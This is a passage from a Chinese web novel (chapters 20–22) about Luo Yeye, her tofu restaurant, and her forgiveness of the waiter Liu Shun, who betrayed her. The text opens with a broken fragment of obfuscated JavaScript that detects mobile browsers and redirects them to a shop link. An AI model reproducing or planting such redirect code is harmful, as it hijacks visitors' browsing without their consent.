0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516212|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不能慢些么?”他道,“照你这般赶法,三日便要换一处地方,后日便直奔京城去了。” “这不还有你嘛?” 罗烨烨直起身,拍了拍裙子上的烟灰,笑嘻嘻道:“再说了,真慢不下来。我还打算后日咱们开张,做个豆腐宴呢。诶,就是要很多人上来,大家各显身手、八仙过海,怎么样,想不想看?” 萧握瑾却只讲:“会很乱,也会很累。” 罗烨烨圆场:“但乱有乱的章法,届时我把李大人一起叫上,让她做裁判。官差也在,出不了岔子。” 萧握瑾没接话,轻轻点了点头。 “不错吧?”罗烨烨扬起脸,笑起来。 他把折扇往掌心一敲:“更乱了。” 罗烨烨噎了一下,嘴角抽了抽,正要反驳,却听他淡淡道:“你把这些人都拢到一起,三教九流,各有各的心思。今日他们服你,是谓你赢了姚富。明日,后日呢,你拿什么压住他们?” “后日不就走了嘛。” 罗烨烨小声嘟囔,接着又理直气壮,“我拿豆腐压啊,好吃就行。” 萧握瑾看了她一眼,倒挺无奈,沉默了一会:“你何必这么赶,又没人在后头撵你。那御膳的名额,我也并非那般渴求。” 罗烨烨的笑容顿了一下,不知如何作答。 因为她确实有东西在追。 系统在倒计时,贡品遴选只剩九日,不,现在已经不到九日了。 她必须在规定时间内完成州内赛,或许还有州际、国赛,上京,面圣,告状。救出那个她也不知道是谁的心上人,总之就是得去趟天牢。 然后返回现实,拿到一百万。 想到这,她便莫名心虚,忍不住偷瞧了一眼萧握瑾。他在看别处,似乎也在深思什么。 这些话她不能说,说了也没人信。 “哎呀,”她摆摆手,皱起眉,佯装出一副不耐烦的样子,“你在这说风凉话,不如来帮我。我今夜还要发上豆腐呢,明日还没安排好,你到底听不听我的?” 萧握瑾看着她。 罗烨烨被他看得愈发没底。她把目光移开,落在胳膊肘边的案板上,又觉得这样太怂了,重新抬起来,对上他的视线。 “罗烨烨。”他开口了。 她赶紧应他:“啊?” “我才是掌柜。” 不轻不重,却像四根柴火,一条一条砸进她脑子里、又塞入她心口。叫她愣了一下,随即缓慢地生出一股火,从胸腔烧上来。 本来准备卖个萌混过去呢!她叉起腰,直接毛了:“那你当老板自己来做啊?你自己做!” 喊完她就后悔了,不是她说错,而是这人看着表情就没啥好事,嘴角都抽动了,像是要笑,也蛮冷的:“你是我的小侍女,你就这般对你的公子?” 罗烨烨嗓门拔高:“我就这样咋了?你不服啊?” 说完她深吸一口气,想把那股火压下去,可萧握瑾又开口,令她愈发心梗。 “这店我舍了也无妨。”他语气淡淡的,像在说一件无关紧要的事,“你再如何折腾也没用,明日我便能关了它。” 说着他伸出手,捻了一把竹篾上的霉豆腐,上面软黏好捏的菌丝,真是好捏如柿子。又忽然顿住,才发觉这是残留的渣,那竹篾还没洗,上头沾着菌丝和辣酱的残渍,黏糊糊的。 “啧。” 他皱起眉,把手收回来。声音里带着一点烦躁,说不清道不明的,“小爷银子有的是。你今夜和我出去住店,不许睡在这儿。” 罗烨烨眉梢一动。 她有点悟了,又有点微妙。看着他蹙起的眉,抿起的唇,还有那双垂着的眼。 她大胆问:“萧握瑾,你是不是不开心啊?” 20. 灼灼 给萧握瑾干沉默了。 好一会儿,他才发出一个音节:“呵。” 罗烨烨感觉他是想说她废话的,但他只是展开折扇,遮住了下半张脸。桃花扇面上的墨色在微弱的月色下,还会闪光。 罗烨烨散开眉眼,竟然有点心平气和了:“你怕脏是吧?那你要有钱,你就出去睡。我今晚得待在这。” 她说实话呢,但是她说出口,才发觉这话哪里不太对。 听着像在赶人呢! 果然,萧握瑾连扇子都不摇了。他就那么举着扇子,桃花扇后,那双眼睛,却一动不动地凝视着她。 两个人大眼瞪小眼。 罗烨烨嘴角抽搐,但她必须绷住,低下头,上前走几步,打算给他胡撸顺毛了。 “没事萧公子,我不是嫌弃你啊……”她顿了顿,又觉得这话也不对,“不是,你也别嫌弃啊!哦,也不是。” 她把自己说笑了。 头顶砸下来一句话:“月例不要了?” 罗烨烨不嘿嘿了。 她板着脸,抬起来看他,仰着脖颈:“你是大掌柜,说啥是啥呗。” 萧握瑾看了她,一拂袖,转身就走。 “扣钱。” 罗烨烨睁大眼,赶紧追上去:“诶不是、为啥呀!” “不要扣我钱!” 她真急了,这时候她才后知后觉地意识到,自己是给他打工的。 这几日忙前忙后,从南湖到枫城,从封店到开张,连轴转得脚不沾地,结果人家一句扣钱,就能把她拿捏住! 这种不自由的感觉令她瞬间讨厌萧握瑾。 好烦! 这人一身白衣一点都不圣洁,一点都不温柔,一点都不鲜衣怒马少年郎了! “你不能扣我钱!”她追在他身后,慌里慌忙,“我那么辛辛苦苦给你吆喝,我还拉那么多客户,我还天天做豆腐!不能扣我钱!” “我真生气了!” 她吼一声站定,瞪萧握瑾背影。 萧握瑾,他终于慢慢转回身。折扇还遮着下半张脸,看得罗烨烨是真心烦,像嫌弃她似的,连脸都不肯露全,只那双眼睛从扇面上方露出来,似乎还真轻蔑的。 “你就这么喜欢钱?” 罗烨烨心里窝火,恶狠狠道:“是,你不需要钱,你是贵公子,我是小摊贩,我爱钱行了吧!” 这人还上蹙起眉挑她,又垂下眼,伸手解下腰间那枚玉佩。又是那只白玉,圆润润的,像块霉豆腐。他在指间转了两下,拿在手,手往右晃。 罗烨烨被他手指灵巧得迷惑了,跟着摆头。 接着就听他哼笑,这人又抬起手来,将玉举在手里,示意她。 接着往前一掷。 罗烨烨注意力在他手指,纤长的,骨节分明。所以她看到玉在他手里,没抛。可这个假动作,莫名让她想到空投篮,令她瞬间有点绷不住,嘴角怪异看他:“……你干吗?” 这人笑了。 他一笑,罗烨烨就禁不住,也笑,确实长得好看啊,笑起来更好看了,还妖孽,又眯起眸目,又是那副漫不经心的语气:“看你,会不会去捡。” 罗烨烨立马不笑了。 再看这人,目光里愈发戏谑,吊儿郎当。真是纨绔,纨绔子弟!她憋着火,拉着脸几步踏上前,就要张嘴开喷,萧握瑾先一步:“扣钱。” “……” 罗烨烨眨眨眼,啊了一声扬起小脸:“我没啊?哎呀,掌柜掌柜,好掌柜!你就给我月例罢,我不是已经给你好好干了嘛?除了我,你也没啥好人选了吧?你可不能给我逼走呀!” 她眨眼眨得白眼都快翻出来了,萧握瑾才笑,只轻轻道:“那你要听我的。” “和我住店。” 罗烨烨瞥他一眼:“不行。” 萧握瑾目中的笑意淡了。 罗烨烨也皱眉,抬起眼看他。 这人真是纨绔。白衣墨发桃花扇,浓眉桃花眼,招蜂引蝶的样。什么叫住店?她和他,大晚上的? 她心里觉得奇怪,又有点说不上来的别扭。真是这般轻浮的人,可这话说出来,怎么听怎么不对劲。 她向来不拐弯抹角,张嘴就要问:“你到底——” “有人。” 萧握瑾忽然开口,声音低而快。他的目光掠过她肩头,望向她身后的院子。 罗烨烨一愣,转身往回走。 衣袂穿堂而过。风不知道什么时候起来了,吹得醉仙楼门口灯笼的烛心晃来晃去,忽明忽灭。她穿过游廊,拐进后院,脚步声在地上一轻一重。 耳房的门半敞着。 她靠到门上,看见一个人弯着腰,把包袱打了个结。 没动,也没出声。 那个人一抬头,看见她,手僵住了。 “……东家。” 罗烨烨看着他:“你要去哪儿?” 烛火通明,照出身形。这个人穿着一身麻衣短打,是洗得发了白的苎麻料子,边角磨出了毛边。颧骨有些高,衬得两颊瘦长。 是小二。 她说完,就看他身后。小二没答话,把包袱往身后挪了挪。她问:“那是咱们的盘缠,还是你带的?” “是我自己的东西。”小二低着头,“我要拿去典当。” “典当,”罗烨烨笑了一下,“那色粉呢?你昨天说去买色粉,买了吗?” “买了。”小二赶紧从怀里掏出张纸,指着上面给她说,“都在后厨。茶粉、红曲、蝶豆花,一样不少。” 罗烨烨接过那张纸,看了一眼上面红圈,又抬头看他:“那剩下的盘缠呢?” 小二不说话了。 “你真以为我不知道物价,”罗烨烨把纸叠起来,塞回他手里,“那一两金子,别说茶粉,够买这条街上所有的茶叶。你告诉我,剩下的去哪儿了?” 面前,这人迟迟不出声。拳头攥紧了又松开,把纸握皱了,才深深叹气,这个人,他的肩膀塌了下去。 “对不起,东家,”他声音很低,“我会还上的。” 罗烨烨看他。 他眼睛细小,眼尾往下耷拉着,始终不抬头看她。嘴唇犹如一把薄薄的,合拢的剪刀。很是薄情。 “还。” 她说了一字。接着她抱住了胳膊肘,感觉手臂有点冷,搓了搓,低下头,吸了一口气:“你告诉我,是不是姚富的人找过你?” 小二的脸色变了。 她抬起头看他:“那天晚上,在后厨外面偷听的人,是你吧?” 这时候,罗烨烨身后的那白衣公子,才摇着折扇,从她侧面慢慢走出来。 “萧握瑾的扇子打中了那个人,”罗烨烨看着他的眼睛,“可那个人没有现身。” “……扇子不就在萧老板腰上挂着吗?”他勉强笑了笑,“东家,您是不是记错了?那天晚上我还在外头买色粉呢……” “扇子上有腐乳味。” 萧握瑾直接打断,他方才在擦扇子呢,现把帕子丢给了小二,“自己闻闻身上什么味。你一个萧家的人,身上怎么会有姚家腐乳的味儿?” “还有今晚的事,也不必问你吧。” 萧握瑾看起来并不愉快,拿扇子扇了两下,不禁就回到罗烨烨身后。而罗烨烨,蹙起眉问刘顺:“为什么?” “刘顺。” 刘顺闭上了眼睛。再睁开时,眼底全是疲惫。 “是。”他说,“是我。” 罗烨烨没说话,她等着。 “东家,我……”刘顺张了张嘴,又合上了。他那双小眼睛看着地上乱飘,在找理由,他想解释,可那些话到了嘴边,全都变成了浆糊。 罗烨烨看着他,忽然开口: “我对你不好吗?” 刘顺一愣。 “你说你父亲重病,我没追问,信了。你说要银子,我没拦着,给了。你说怕厨房不干净,给我买了新碗,我用了。” 罗烨烨的声音轻轻的,若夜风一般,柔和,又有些哀伤,“我有没有问过你一句,这钱什么时候还。” 刘顺,他缓慢地低下头。 “你是不是觉得我是东家,你是小二?” 她笑了,眉梢却向上蹙起,目中若有晶莹,“可是刘顺,我是把你当掌柜的。枫城只有咱们仨,萧握瑾给钱,我当厨子,你拾掇酒楼,咱们钱都给你管了,那可是整车的盘缠,你在醉仙楼什么都有,现在你要离开了吗?” “你有没有想过,你缺银子,可以 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“我也困难,刘顺。我一个新来的,谁也不认识,连个正经身份都没有。我想把店开起来,想让大家都吃上好吃的。”她垂眸,说着说着,把最后一口生息也吐散出去。 “枫城只有咱们仨,我那么信任你,给你所有钱,让你几乎全权经营酒楼,让你什么都有……” 她眼神也暗淡了,看着他僵着肩膀,缓慢转身,目光逐渐陌生,喃喃道:“你走吧,希望我永远见不到你,我真的没想到你一开始帮我们,最后却成为帮凶,小偷,没想到你是这样的人,我当初真的觉得你有能力,又聪明,甚至把酒楼托付给你,现在我真后悔见过你,你也不用还钱了,你永远别回来……” 她没说完,刘顺突然跪下了。 包袱摔在地上,发出沉闷的一声响。小二跪在庭院地上,额头低着,肩膀剧烈地抖。 “我爹快死了!罗烨烨!” 他的声音从喉咙里挤出来,在牙里面咬碎掉了,又变得喑哑哽咽。 “罗掌柜,我爹快死了,大夫说要三十两,三十两!我拿不出来!我攒了三年才攒了八两!” 他抬起头,脸上全是泪。 “姚富的人来找我,说只要我帮他们做一件事,就给我五十两!五十两!我爹就能活!我妹妹就不用卖身!” 他的声音越来越大,越来越疯狂,最后变成嘶吼:“我能怎么办!你告诉我我能怎么办!” 吼完之后,他开始往下缩。 整个人像被抽空了一样,慢慢地塌下去,最后瘫坐在自己的腿上。眼泪还在流,但声音没了,只剩下喉咙里发出嗬嗬的气音,像一口破巷子里的穿堂风。夜风从小巷口灌进来,吹得罗烨烨的衣角轻轻摆动。 寂静了许久。 刘顺苦笑,越笑,泪水越多。 他甚至弯下腰,双手撑在地上,他知道,回不去了,眼前这个人,他再也抓不住。 这栋酒楼也再与他无缘。 “那天晚上我给你买的新碗……竹篾,本来要在上面涂东西的,我没涂。我看见你用它发上了,它是干净的,能用,你别担心。” 他抹了把鼻子脸,大喘气了好几口,才平静下来,又恢复了他面上苍白的麻木,“东家,我走了。” 他站起身,此人身长七尺,本是蓬蒿人。 却顺水飘零二十春。 他爹是拉板车的,三年前被倒下的货箱砸断了腰,从此瘫在榻上,日日要人伺候。他娘原给人浆洗衣裳,后来眼睛坏了,针都认不准,活也接不到了,只到处奔迫借钱。底下还有个妹妹,才十二岁,已经有人来问过两次价钱。 他来萧家做家丁的时候,以为自己攀上了一棵大树。可树再大,底下的小草也分不到多少雨露。他攒了三年,才攒下八两银子。他爹的药不能停,他娘的眼睛要治,他妹妹,妹妹还想念书啊。 好不容易,苍天有眼。遇到她。 拿到钱,而姚富的人又来了。 他实在撑不住了。 鞋子跨出一步,月光洒下,长道银白看不清落脚之地,又教他灰暗眼底照出迷茫。 不知去哪,但已经回不去了。 罗烨烨开口:“站住。” 21. 其华 夜深露重,叶面上一颗露投进了水潭,在空荡荡的庭院里,荡出一圈圈回响。 刘顺的脚步一顿,并未回头。 罗烨烨只叫他:“你转过身来。” 刘顺绷紧了肩膀,攥住的包袱在他手边晃了一下,又不动了。 “转过来。” 罗烨烨往前走了两步,不等他转身,径直站定在他面前。月光从她身后照过来,把她的影子拉得很长,盖住了刘顺半张脸。 “你说你没涂东西,”她看着这人低着的眼睛,“那你跑什么?” 刘顺的嘴唇动了一下,没出声。 “你今晚又回来,又要走。是姚富又找你了,”罗烨烨声音轻轻的,“他让你做什么?” “……他让我把后厨的食材全倒了。”刘顺的声音低得像是从喉咙里挤出来的,“说只要我做了,之前的银子就不用还了。还说……” 他顿了一下。 “还说什么?”罗烨烨抟起眉梢,又靠近一步,“咱们把话说开,这里没外人,没人会为难你。” “还说我要是敢说出去,就让赵捕头把我抓进去。说我有案底,一抓一个准。” 刘顺苦笑了一声,脸面在月光底下格外苍白,“罗掌柜,方到枫城那天,醉仙楼门前,你把我从官差手底下拽出来,其实我一直记着。” “你给的够,很够。”刘顺的声音哑了,“够了。就是因为够了,姚富逼着我做,我才……” 罢了,他低下头,像是轻轻地摇了摇。他终于说出了与他面上的麻木、与冷漠,稍微相背一些的话:“我不想做,我要跑。” “罗掌柜,你太弱了。” 罗烨烨一愣,心脏紧接着挣动一下。 “跟着你,别说护我了,你连你自己都护不住。你看有多少人给你找茬了?你实在是太弱了。” 刘顺抬起头,那双细小的眼睛终于看向她,深深眼窝里面全是苦涩,“你连反击都反击不了,你除了逃,除了跑,你还能咋样?” ……不是,我让你把话说开,你也没必要这样说我吧? 说得罗烨烨都有点破功了,但她强忍口里反喷的话,只撇了嘴,结果就听刘顺苦笑着,应是看出她不甚欢喜:“没办法啊,罗姑娘,我这说的是实话。还有,我给你个建议,你啊,等你有钱,你雇几个打手。” 他偏头看向站在廊下的萧握瑾:“萧公子,你虽然脑子好使,但是你太文弱了。还一直玩扇子,怎么护得了罗掌柜?你也只能给钱啊。” 这下罗烨烨心里畅快了,那点似笑非笑的神情从萧握瑾脸上转移到她脸上。这无差别攻击就是比单个点名听着得劲啊,她没笑多久,就被站旁边的这位看了。 罗烨烨收起大牙,就听萧握瑾轻飘飘道: “赵捕头畏罪自裁了。” 院子里忽地安静。刘顺猛地抬头,难以置信:“什么?” “赵捕头,就是当初在醉仙楼门口押着你的那个。他一归西,事情便败露,这个我们也未料到。并且凑巧,今夜上偷督查方在我城下车。” 罗烨烨接过话,“方才萧握瑾第一时间告诉我这事,我做煎豆腐,就让他去赵捕头家翻到了证据,才报官。证据账本已经被上面来查的人拿到了。” 刘顺的眼睛慢慢睁大,不待他说什么,罗烨烨往前走了一步:“还有你更想不到的。上面来查的人,还带了位新官。作风廉洁,人尽皆知,明日一早下车。” “……李大人?”刘顺的声音有些不稳。 罗烨烨点头。 “是,看来你也很懂嘛。” “所以在我这里,你可以有两个选择。” 罗烨烨看着刘顺,对方张了张嘴,没说出话。她竖起一根手指,“第一,你现在就走,带着这串铜钱,带着你爹的病,跑得远远的,一辈子躲着姚家的人。” 她竖起第二根手指:“第二,你留下来,听我说明日的计划。” 她讲:“你选。” 夜色很静。远处不知道谁家的狗叫了一声,又没了。月光落在地上,白茫茫的,像一层薄霜。 刘顺看着她,嘴唇在抖。半晌,他口里出一口气,颤颤巍巍地把肩膀上的包袱放下了,砰的一声砸在地上。他抬起头,直视罗烨烨。 “好。”罗烨烨嘴角翘了一下,“你听好了。” 她转身走到石桌边上,把上面的东西扫开,拾起个带色砖块,在那划拉了几个符号。 “咱们时间很紧迫。明日一早,我去找李大人,把姚家这些年做的事全部摊开,让官府放人。” 她安排萧握瑾:“你去接咱们萧府的家丁,还在大狱,明日我表完,必定能放。顺便再给萧老夫人去信,说咱们缺银两,再把咱们在这的事报一报。” “至于你,”罗烨烨看着刘顺,“你原先在萧府当值,必定身上有些拳脚。你又做过酒楼,所以咱们醉仙楼,你必须学会切配。咱们计划后日开张,后日我不一定全天都在酒楼,酒楼需要你来看管。” “基本上就是这样。今晚呢,刘顺你要留下来跟我学霉豆腐。”罗烨烨撑住石桌,环视他们,“诸位有没有什么细节要问,或者不懂?咱们现在说。” “我有问,”刘顺举手,他眼眶有些红了,“你怎么保证,李大人能立刻给你解决?” “我知道你担心他们会互相推诿,但是抄掉姚富,他们也有钱拿。这是给官府一个出头鸟去打。” 罗烨烨讲解,“再者,李大人下车要立威,大概率手握全权,这件事不会拖太久,明日报,明日结。” 她接着反问:“刘顺,你今夜有非常紧急的事吗?能不能留下来学切配?” “没有,我可以留。”刘顺的声音有些发紧。 “那就这么定了。”罗烨烨拍拍手,“明天天亮之前,各就各位。” 她说完就开始收拾桌上的东西,动作很快,很赶。雷厉风行,还能抽出空抬起眼,瞧旁边走远的白衣公子:“咋啦,你不会也要散伙吧?厨屋咱都不使了,后日推出来卖,还不中?” “谁说散伙?这地方你想住,你就住。”那萧公子一展桃扇,扇了扇面前的风,转靴离去了,那话轻飘飘地,趁着夜风进她耳。 “我才不宿在这。” 罗烨烨撇了撇嘴,轻轻哼了一声。 刘顺站在原地,张了张嘴,但喉咙里堵住,一个字都挤不出。 他看着罗烨烨,把碗碟叠起来,看着她把抹布丢进盆里,端起泡着豆腐渣子的竹篾。手一滑差点掉了,刘顺赶紧帮忙托住,这一下她意外露出小臂,刘顺才注意到,一块青。 应是她走太快,无意,不知撞到哪里。青里透出些紫,和红点,这人也像无知觉,口里道着多谢多谢,笑嘻嘻的,托起来走,衣服袖子也掉下,盖住了伤。 “……我帮你吧。” 刘顺忽然觉得鼻子很酸。他想说谢谢,想说对不起,可这些话到了嘴边,全变成了嗓子眼里一股酸涩的气,顶得他喉咙发紧,说不出一个字。 “好呀。” 罗烨烨做这些事时候,也不觉得累,就那么一件一件地做,像是什么都压不垮她。可她的肩膀明明是单薄的,只是点了点头。也没看他,把竹篾端到灶台边上:“那你方才听懂了没,我是不是说得有点快?” 刘顺点头,又摇头。他的脖子只动了一下,就有点想咳嗽,但忍住了。那口酸涩的气哽在喉咙里,上不去下不来,哽得他眼睛发胀。 “过来。”罗烨烨笑,对他招手啊,“我教你做霉豆腐。” 刘顺走过去。 “广义上的霉豆腐,其实就是腐乳。只不过工序不一样,出来的味道、颜色都不一样。” 她捏起一块白豆腐,给他看茸茸的白毛:“比方说这个,是毛霉发酵出来的,叫白腐乳,也叫霉豆腐。还有臭卤泡出来的,叫青腐乳。我今晚把咱们霉豆腐秘传配方,告诉你。” 她看着刘顺:“外人不知。你记快点,往后能搭把手。” 刘顺没说话,他的嗓子已经说不出话了。 而罗烨烨,她声声细语,还在传授:“腐乳嘛,当然,还有姚富家的,红腐乳,用红曲米发酵的……” 她夹起一块,搁在白瓷碟里。 那块红腐乳贴着筷子,颤了一下,红油从边上渗出来,慢慢洇开,像一朵花在雪地上绽开。 日头正盛。 望江楼门前,万众瞩目。 灶火上架着铁锅,锅里的油已经烧热了,在锅底咕嘟咕嘟地翻滚。罗烨烨站在灶台前面,系着围裙,袖子挽到手肘。她的额头上全是汗,顺着鼻梁往下淌,滴在灶台上,很快就被热气蒸干了。 她没有擦,她的手没空。 再一个陶罐揭开,一股浓郁的酱香扑面而来。那香味不像腐乳,更像炒菜,像葱油拌面,像什么?刚出锅的红烧肉,一鼻子闻过去,居然满口生津。 “不是,我听说腐乳不是要放几天才吃吗?让它入入味。”那街坊舔舔嘴,咽了一口唾沫,看罗烨烨,“罗掌柜,你这弄完豆腐,咋炒起菜来了?” “别急,我方才做的是给姚富看的,成品菜我早备好了。” 罗烨烨说着,把红腐乳从陶罐里一块一块夹出来,码在白瓷碟里。红油顺着豆腐块往下淌,在白瓷上画出细细的纹路,像桃花瓣落在雪地里。 她夹起一块,搁在碟子中间。然后又是一块,再一块。码了九块,摆成三排。 “尝尝。” 她声音有些哑,累的还是喊的。 街坊们对视了一眼,有人先伸手,拿起筷子夹了一小点,抿进嘴里。 那人眉头动了一下。 “诶?”他又咂巴了两口,“诶,还真是个味啊。这味不错,挺好吃的!” 旁边的人听他这么说,也凑上来,你一筷子我一筷子,碟子里的红腐乳很快就不剩了。 “我家其实也是做这个红腐乳的,”有人品着说道,“但罗掌柜做的这个,酱香味特别浓。你看它虽然是酱,但吃起来有种炒菜的那种香味,你懂吗?” “懂懂懂,”旁边的人点头,“像那个葱油那种香,豆腐能做出葱油味,真是神呀!” “当然香啦,”罗烨烨擦了把汗,“我放葱油了呀。” 人群里爆发出一阵笑声。 “老王,你可搁这拍马屁嘞,叫你拍着马腿了!” 老王涨红脸:“我拍什么马屁?这不说么,我说的是实话!” “你们还可以回去用鸡蛋加蒜,再搁点腐乳一块夹馍吃,也非常的香。”罗烨烨摆摆手,嘻嘻笑笑,“可以试试。” 街坊们纷纷点头,你一言我一语,交口称赞。罗烨烨看着他们吃,看着他们笑,目光不知觉,飘到了远远的,人群外面。 差不多了。 她缓慢地抬头,看了看天。日头正盛,晒得人发昏。她闭住眼,苍白日,在她眼皮上,投下一片摇摇晃晃的影。 她深吸一口气:“各位,乡亲父老——” 她的声音拔高了,盖过了底下的嗡嗡声。人 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罗烨烨顺势高声喊:“姚富呢?姚富!” “你服不服!” 姚富原本搁摊前看,方才和人去拿钱,又一腚坐后头地上了。人群偏偏还给他让出来,一下暴露了他,他本来都快不哭了,被这么一喊,眼圈又红,使劲抹了两把眼睛:“……服,我服了。” “大声点!”罗烨烨一拍摊车,“服不服!” “服!”姚富扯着嗓子喊,即悲愤又委屈,“我服啦!行了吧!” 罗烨烨转身直指天上:“今日开业,我请客,全记我账上!” “往后咱们一条心,把豆腐做出名堂,把御膳送进京城,让全天下都知道!”那轮明晃晃的日头当空照,艳阳之下,她声音拔得高高的。 “中州有个猫豆腐!” 她高喝:“上链接!” “好!好啊!” 底下乌泱泱一片,交头接耳议论着“链接是啥啊”“不知道,看文案吧”,叫好声,掌声,笑声群起,萧家的家丁展开画名册,摊在桌上,街坊们涌过去,挤挤挨挨地往上写名字。有人不会写字,抓着旁边的人帮忙代签。 有人写完了还在旁边画个圈:“罗掌柜,这是我啊!” “别忘了!” 罗烨烨站在人群前面,看着这热闹场面,心里砰砰跳。 太阳晒得人发昏。 她闭了闭眼,睁开,对着人群后面那个人:“姚富,上来写名字。” 没人应。 姚富,他还坐在地上,低着头,拿袖子抹眼睛。旁边的人走来走去,没人理他,没招,自己滚到边上不愿意动,自然也没人愿意捡这破石头。 罗烨烨翻了个白眼。 她抱起胳膊,大步往那边走。 “东家……”身后有家丁担心她,想跟上。 左右拦住了那个人,朝旁边扫一眼。 萧握瑾已经跟上。折扇收着,握在手里,随那袭杏粉色的衣裳在人群里穿风而去,不紧不慢。 桃花,是桃花。 罗烨烨走到姚富面前,站定。 姚富听见脚步声,抹了把脸,抬起头。 阳光从他身后照过来,她站在逆光里,整张脸都藏在阴影中,只有桃花簪子在头顶晃了一下,亮得刺眼。 “起来。” 她的声音,是清脆的少女。一如三月清风,吹过湖畔。 她伸出手。 哦,是袖子。是杏粉色的衣袖啊,垂下来,在阳光底下荡着口,风里轻轻晃,像一片花瓣,在等着人攥住。 桃花烨烨…… 姚富的手在抖。他伸出那只粗粝的、沾满污渍的手。指甲缝里,藏污纳垢的手,慢慢握住了,那片杏粉色的衣袖。 阳光洒下。 罗烨烨用力一拉。 没拉动。 她抿起唇,使劲又拉了一下,脚底下打了个滑。 ……真服了,这人真沉。 日头照在她脸上,白花花的,晃得睁不开眼,令她摇晃一下,整个人往前一栽。 手指都没够住姚富的袖子,身子就歪了。她想稳住,但脚踝一阵酸软,使不上力。 她倒下了。 像一棵被风吹了很久的树,终于到了极限,慢慢、慢慢地往一边倾斜,最后轰然落地。 这天真的是太晒了…… 晒得她好困。 朝她涌来的人群,最后变成一片白茫茫的花。耳朵里的声音变得不真切,像隔了一层水,有人在喊,有人在叫,有脚步声咚咚咚地撞在地面上,潮水一样涌上。 把她的耳膜冲湿,覆上一层水膜,听不清他们在喊什么。 从前日到酒楼,遇到官差,之后又去姚富酒楼探查,回来做豆腐,又去夜探仓库,再做了一整天豆腐,又去官府找李大人,到今日早开张,吆喝。做各种豆腐去协调各种事情…… 明明摔倒,却没有任何知觉。眼前的光越来越亮,越来越白,她很困,一张脸从人群里挤过来,撞开所有人,扑到她面前。 是萧握瑾。 那张总是云淡风轻的脸上,全是慌乱。桃花眼瞪得很大,嘴唇在动,在喊什么。 她想了想,想说没事,让她睡会。 但她的嘴巴张不开,接着看不到他的脸。 “罗烨烨!” 22. 悦人 “总之,先给老夫人去信吧。” 醉仙楼前车水马龙,咕噜咕噜的声响渐渐远了。 刘顺收回目光,低头看自己面前热锅和手上锅铲。有人提醒他日午了天热,他说不妨事,拿脖子上汗巾擦擦脸。 其实他心里不安定的,罗烨烨,萧握瑾,还有其他家丁。这些人的面孔若流水在他眼前轮流转。 最后潮水过去,就他一人,只如落叶一般,被留在了干涸的土地。 难道他被排除在外?难道罗烨烨没有真正地信任他? 这些躁动念头如噬心之蚁,那同时他又对他的妹妹和爹娘忧心忡忡。 等人群里出现一簇白衣,刘顺才猝然回神,他口里的声音便传进耳朵: “萧掌柜。” 他眼还是很尖的,这身衣服很贵气,便出现在衣衫褴褛之中、市井群乡之外,也显眼夺目。 风尘仆仆来,却急切。 “酒楼交给你看了。” 他把话撂下,不轻不重地。白衣在日光下晃了一下,折扇没打开,只是握在手里,垂着。 “每日采买,还按她定的规矩。三家比价,签长期契。肉菜粮油各选一个老户,价定在时价九成。” 刘顺愣住了。 “遇到节庆或雨水天,提前三日备货。”萧握瑾终于瞥了他一眼,那双桃花眼里没什么多余的情绪,“账目每旬寄一封到京城,写清楚就行。” “我……我看店?”刘顺的声音有些发涩。 “怎么,不想?”萧握瑾偏过头。 “不是……”刘顺赶紧摇头,可摇头之后又不知道该说什么。话到了嘴边,全变成了喉咙里一股酸涩的气,顶得他说不出话。 萧握瑾目光望在门楣上,那块新漆匾额。阳光把金字晒得发亮,晃得人眯眼。 醉仙楼。 他没再看,转身而去。白衣飒飒,走了两步,忽然又停下。 “对了。”他侧头,“姚富出钱,负责你们父子后续的药钱,还有你妹妹的卖身契。他人还在枫城望江楼,你若缺什么,去找他便是。” 他提步走啊,然而身后声音叫他。 “公子——” 刘顺追了一步,眼眶先红了,“罗掌柜如何了?我听说她胜了,是明日坐官家的车走吗?” 萧握瑾的脚步没停。 折扇在他手里转了个花,啪地展开,遮住了半张脸。他没答话,只往巷口走。 靴尖轻点,便跨上了那辆已经候在街角的马车。 车帘落下。 马蹄声起。 刘顺站在原地,看着那辆青顶马车拐过街角,消失在日头底下。风吹过来,巷口的桃花瓣打着旋儿落了满地,有几瓣沾在他肩上,他也没掸。 他站了很久。 直到身后有人喊他:“刘掌柜。” 他才恍惚回过神。 是隔壁卖炊饼的大嫂,端着两碗豆浆,笑呵呵地递过来一碗:“刘掌柜,还没吃呢吧?趁热。我看你在这忙活半天了,往后咱就一块在这条街上了,别客气。” 刘顺接过来,低头看着碗里冒着甜味和豆腥味的豆浆,忽然觉得鼻子一酸,赶紧仰起脸。 一碗白花旧梦,涌入喉头。 罗烨烨,她感到自己在走。 这两日,她能感到医师在给她诊脉,同时这边照常做梦,并且愈发清晰,愈发若云鹤闲游。 草地很软,踩上去像踩在发了霉的豆腐上,茸茸的,有点弹。 她低头看,脚下不是草,是一片白茫茫的菌丝,毛茸茸的,一径铺到天边。 “烨烨。” 有人喊她。 她循着声音往前走,走到一条小河边。河水清得能看见底下的鹅卵石,水里映出一张脸。 哇……是她自己。 头上支棱着两只毛茸茸的猫耳朵,杏色的,和她身上的褙子一个色。 她伸手摸了摸,毛茸茸尖在她指缝里抖了抖。 “还挺软的。”她嘟囔。 河里那张脸笑了,猫耳朵也跟着动,一抖一抖的,晃晃悠悠,看得她忍不住打了个哈欠。 哎呀,这两天就是舟车劳顿,她真不知道自己咋来的。 待她悠悠转醒,还听说许多关于她的玄乎传闻。 有人说她是霉豆腐仙子下凡,昏倒那日望江楼上空飘了半日桃花雨; 有说她那七彩猫豆腐是仙家吃食,乞丐吃了一口竟能站起来走路; 还有人道她做霉豆腐时灶台会冒五色烟,闻一闻便能祛病消灾。 引得天下文人才子,为她猫豆腐吟诗作赋。 她笑笑而过,还问旁边的家丁。 那我是坐官车来的吗?是姚富车送的吗? 摇摇头。都不是。 反正就是一闭一睁眼,到了。 耳边全是咿咿呀呀的唱戏声。 “世人道我伤官重,金旺水浊难自清——” 锣鼓敲了一下。 “李白赶紧来喝酒,今夜便入我梦中!” 豪气一拍案、啪地一声,罗烨烨腾地站起,瞪眼醒了,一愣。 哦,这是坐在连廊的方桌一侧。方才她等上菜呀,等得面前茶水凉了,等得人都困了。 二楼,茶楼。戏台子在楼下,唱腔从底下飘上来,混着茶客的喧嚣,吵吵嚷嚷的,很是热闹。 